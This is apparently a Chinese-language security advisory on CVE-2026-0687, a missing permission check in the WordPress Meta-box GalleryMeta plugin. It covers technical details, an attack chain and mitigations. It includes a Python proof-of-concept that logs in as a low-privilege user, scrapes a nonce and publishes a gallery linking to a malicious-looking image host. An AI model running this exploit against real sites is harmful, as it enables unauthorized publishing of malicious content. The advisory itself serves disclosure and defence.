IPBUF安全漏洞报告
English
CVE-2026-0687 CVSS 4.3 中危

CVE-2026-0687 WordPress Meta-box GalleryMeta插件权限绕过漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-0687
漏洞类型
权限绕过/越权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Meta-box GalleryMeta plugin for WordPress

相关标签

CVE-2026-0687WordPress插件漏洞权限绕过Meta-box GalleryMetamb_gallery越权访问WordPress安全能力检查缺失中危漏洞

漏洞概述

Meta-box GalleryMeta是WordPress平台上一个用于创建和管理相册的插件。该插件在3.0.1及之前的所有版本中存在严重的权限控制缺陷。具体而言,该插件的'mb_gallery'自定义文章类型缺少必要的权限检查机制,导致低权限认证用户(如Author级别的用户)能够执行超出其权限范围的操作。攻击者利用此漏洞可以在未经适当授权的情况下创建和发布相册内容,这可能用于传播恶意内容、窃取敏感信息或进一步横向移动。虽然CVSS评分为4.3(中危),但该漏洞影响所有使用该插件的WordPress站点,且利用门槛较低,对网站安全构成实质性威胁。

技术细节

该漏洞的根本原因在于Meta-box GalleryMeta插件在注册'mb_gallery'自定义文章类型时,未正确实现WordPress的角色权限检查机制。在WordPress中,自定义文章类型应该通过capability_type和map_meta_cap等参数来定义和映射权限。然而,该插件在include/posttype.php第29行附近的代码中,未能正确设置这些权限相关参数。具体表现为:插件允许任何具有'edit_posts'权限的用户(如Author角色)创建和发布'mb_gallery'类型的文章,而无需检查用户是否具有管理相册的专门权限。攻击者可以通过WordPress标准REST API或admin-ajax.php接口,发送创建mb_gallery类型文章的请求,由于服务端缺少权限验证,恶意内容将被成功创建和发布。攻击者可能利用此漏洞发布包含恶意链接的相册内容、植入钓鱼信息或进行水坑攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点Author级别或更高权限的账户凭证
STEP 2
步骤2
攻击者构造针对mb_gallery自定义文章类型的创建请求,通过wp-admin/admin-ajax.php或REST API发送
STEP 3
步骤3
插件接收到请求后,由于缺少权限检查,直接处理并创建/发布相册内容
STEP 4
步骤4
恶意相册内容成功发布到网站,攻击者达成传播恶意信息的目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0687 PoC - WordPress Meta-box GalleryMeta Unauthorized Gallery Creation # Target: WordPress site with Meta-box GalleryMeta plugin <= 3.0.1 def create_malicious_gallery(target_url, username, password, gallery_title, gallery_content): """ Exploit for CVE-2026-0687 Creates and publishes a gallery without proper authorization check """ session = requests.Session() login_url = f"{target_url}/wp-login.php" # Step 1: Authenticate as Author-level user login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Create mb_gallery post type without proper capability check create_url = f"{target_url}/wp-admin/admin-ajax.php" # First, create the gallery post nonce_response = session.get(f"{target_url}/wp-admin/post-new.php?post_type=mb_gallery") # Extract nonce from response import re nonce_match = re.search(r'wpAjax_nonce\s*=\s*"([a-f0-9]+)"', nonce_response.text) ajax_nonce = nonce_match.group(1) if nonce_match else '' # Create gallery post post_data = { 'action': 'save-post', 'post_type': 'mb_gallery', 'post_title': gallery_title, 'post_content': gallery_content, 'post_status': 'publish', '_ajax_nonce': ajax_nonce, 'mb_gallery_images': 'https://malicious-site.com/payload.jpg' } response = session.post(create_url, data=post_data) if 'success' in response.text or response.status_code == 200: print(f"[+] Malicious gallery created and published: {gallery_title}") return True else: print("[-] Failed to create gallery") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <gallery_title>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] title = sys.argv[4] create_malicious_gallery(target, user, pwd, title, 'Malicious content injected via CVE-2026-0687')

影响范围

Meta-box GalleryMeta plugin for WordPress <= 3.0.1

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 限制Author角色的用户创建文章类型的权限;2) 使用WordPress角色管理插件限制低权限用户的文章发布能力;3) 监控wp-admin和REST API的异常mb_gallery请求;4) 考虑暂时禁用Meta-box GalleryMeta插件,直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表